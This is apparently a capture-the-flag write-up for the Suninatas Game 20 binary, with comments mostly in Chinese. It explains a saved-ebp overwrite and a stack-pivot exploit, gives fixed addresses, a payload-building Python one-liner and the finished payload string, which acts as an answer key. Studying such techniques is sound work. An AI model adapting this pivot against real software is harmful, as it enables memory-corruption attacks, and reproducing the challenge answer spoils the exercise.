Suninatas Game 20

challenges

Game 20

1
reverseme: ELF 32-bit LSB executable, Intel i386, statically linked, not stripped

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
int __cdecl main(int argc, const char **argv, const char **envp)
{
_BYTE s[30]; // [ebp-2Eh]
int v5; // [ebp-34h] BYREF
unsigned int v7;

if ( argc > 1 || strcmp(*argv, "./suninatas") ) // 必须重命名为 suninatas
return 0;
// 清空所有环境变量
for ( i = 0; envp[i]; ++i )
for ( j = 0; j < strlen(envp[i]); ++j )
envp[i][j] = 0;

_isoc99_scanf("%30s", s);
v7 = Base64Decode(s, &v5);
if ( v7 <= 0xC ) // 解码后最多 12 字节
{
memcpy(&input, v5, v7); // 拷贝到 BSS 段全局变量 input
if ( auth(v7) == 1 )
correct();
}
}

_BOOL4 __cdecl auth(int a1)
{
_BYTE v2[8]; // [ebp-14h]
char *s2; // [ebp-Ch]
int v4; // [ebp-8h] BYREF <-- 关键:距 saved ebp 仅 8 字节

// buffer overflow
memcpy(&v4, &input, a1); // 12 字节拷贝:8 字节填满 v4,4 字节溢出覆盖 saved ebp
s2 = (char *)calc_md5((int)v2, 12);
return strcmp("f87cd601aa7fedca99018a8be88eda34", s2) == 0;
}

void __noreturn correct()
{
if ( input == 0xDEADBEEF )
IO_puts("Congratulation! you are good!");
exit(0);
}

Analysis

限制条件:

  • 文件必须重命名为 suninatasstrcmp(*argv, "./suninatas")
  • Base64 解码后最多 12 字节,无法直接覆盖 return address(需要 12+4=16 字节)

Stack Pivot

authv4 位于 [ebp-8h]memcpy 拷入 12 字节时:

1
2
3
4
[ebp-8h] v4       ← bytes 0-3
[ebp-4h] ← bytes 4-7
[ebp+0h] saved ebp ← bytes 8-11 (被覆盖!)
[ebp+4h] ret addr ← 无法触及

虽然无法直接控制 return address,但可以控制 saved ebp,利用 leave; ret 的链式效应实现栈迁移:

  1. authleave 恢复了被篡改的 ebp 给 main
  2. main 结束时执行 leavemov esp, ebp; pop ebp)— esp 被迁移到 &input
  3. main 执行 ret — 从 &input + 4 弹出值作为 EIP

Payload 结构

12 字节 = 3 个 DWORD(little-endian):

Offset 作用
0-3 0xDEADBEEF mainpop ebp 读取,同时满足 correct()input == 0xDEADBEEF
4-7 &correct (0x0804925f) mainret 弹入 EIP
8-11 &input (0x0811c9ec) 覆盖 auth 的 saved ebp,触发栈迁移

Exploit

获取地址(statically linked,地址固定):

1
2
3
$ objdump -t ./suninatas | grep -E ' (correct|input)$'
0811c9ec g O .bss 0000000d input
0804925f g F .text 00000031 correct

生成 payload:

1
2
python -c "import base64, struct; print(base64.b64encode(struct.pack('<III', 0xDEADBEEF, 0x0804925f, 0x0811c9ec)).decode())"
****************

because

1
memcpy(&input, v5, v7);  // 拷贝到 BSS 段全局变量 input

&input + 0 (前 4 字节): 0xDEADBEEF

&input + 4 (中 4 字节): 0x0804925f (&correct 的绝对地址)

&input + 8 (后 4 字节): 0x0811c9ec (&input 的绝对地址)

1
memcpy(&v4, &input, a1);  // 12 字节拷贝:8 字节填满 v4,4 字节溢出覆盖 saved ebp

[ebp-8] 到 [ebp-5]: 填入 0xDEADBEEF

[ebp-4] 到 [ebp-1]: 填入 0x0804925f

[ebp+0] 到 [ebp+3]: 填入 0x0811c9ec (&input) <-saved ebp

when auth calls leave; ret to return to main

mov esp, ebp: esp = ebp -> &input

pop ebp: esp -> ebp + 4 = &input + 4 and put 0xDEADBEEF into ebp

ret (pop eip): eip -> esp = &input + 4 = 0x0804925f = &correct

at &correct check input == 0xDEADBEEF

1
2
3
4
$ ./suninatas
Authenticate : ****************
hash : d932bf2657c20fd638787756d680c95c
Congratulation! you are good!
776t3l+SBAjsyREI